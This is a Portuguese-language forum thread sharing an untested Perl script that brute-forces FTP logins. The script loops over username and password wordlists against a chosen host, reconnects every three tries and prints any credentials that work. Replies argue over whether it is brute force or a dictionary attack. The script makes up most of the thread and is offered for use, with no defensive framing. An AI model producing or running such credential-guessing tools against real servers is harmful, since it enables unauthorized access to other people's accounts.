Um simples Brute Forcer em Perl

[Anonymous]

Não testei pra vê se está funcionando, mas pra quem quiser testar está aew o código:

Código Selecionar Expandir

#!/usr/bin/perl -w
use strict;
use Net::FTP;

print "Please enter a file name for usernames: ";
chomp(my $user_file =<STDIN>);
open(USERS,"< $user_file") or die "Could not open $user_file: $!";
chomp(my @usernames = <USERS>);

print "Please enter a file name for passwords: ";
chomp(my $password_file = <STDIN>);
open(PASS,"< $password_file") or die "Could not open $password_file: $!";
chomp(my @passwords = <PASS>);

print "Please enter the target ftp site: ";
chomp(my $target_url = <STDIN>);


 my $ftp = Net::FTP->new("$target_url", Debug => 0, Passive=>0)
      or die "Cannot connect to some.host.name: $@";

my $times_connected = 0;

foreach(sort @usernames){


foreach my $pass (sort @passwords){
       
       
       
     if ($times_connected == 3)
     {
      $ftp->quit();
     
         $ftp = Net::FTP->new("$target_url", Debug => 0)
         or die "Cannot connect to $target_url: $@";
      $times_connected = 0;
     
     }               

if ($ftp->login($_,$pass)){
print "The user/password is " . $_ . "/". $pass ."\n";
$ftp->quit();
exit;
}
 
 
   print  $ftp->message;
     $times_connected++;
       }

  next;
 
    }Autor: hangmansjoke

[Cloudy]

Me corrijam se estiver errado, mas ele não faz o Brute Force própriamente dito né? Ele faz um ataque por dicionário...

...by Cloudy

[Anonymous]

Não é por dicionário não, é por brute-force sim, pelo menos é isso que o meu pouco conhecimento de perl me diz, mas tenho quase certeza que é um brute-forcer sim senhor

[Anonymous]

Muito bom o Topico, acho que deveria mudar a fonte da letra ta complicado para ler !
Quem quiser baixar o Compilador do Perl para Windows o link é http://www.unb.br/ib/cel/download/Activ ... thread.msi

[Wuefez]

Me corrijam se estiver errado, mas ele não faz o Brute Force própriamente dito né? Ele faz um ataque por dicionário...

...by Cloudy

Sim você esta errado lol, isso é sim um brute forcer você da a localização da lista de palavras que você quer que ele tente usar como senha, e ele tenta, se isso não faz dele um brute forcer, não sei mais de nada...

[]s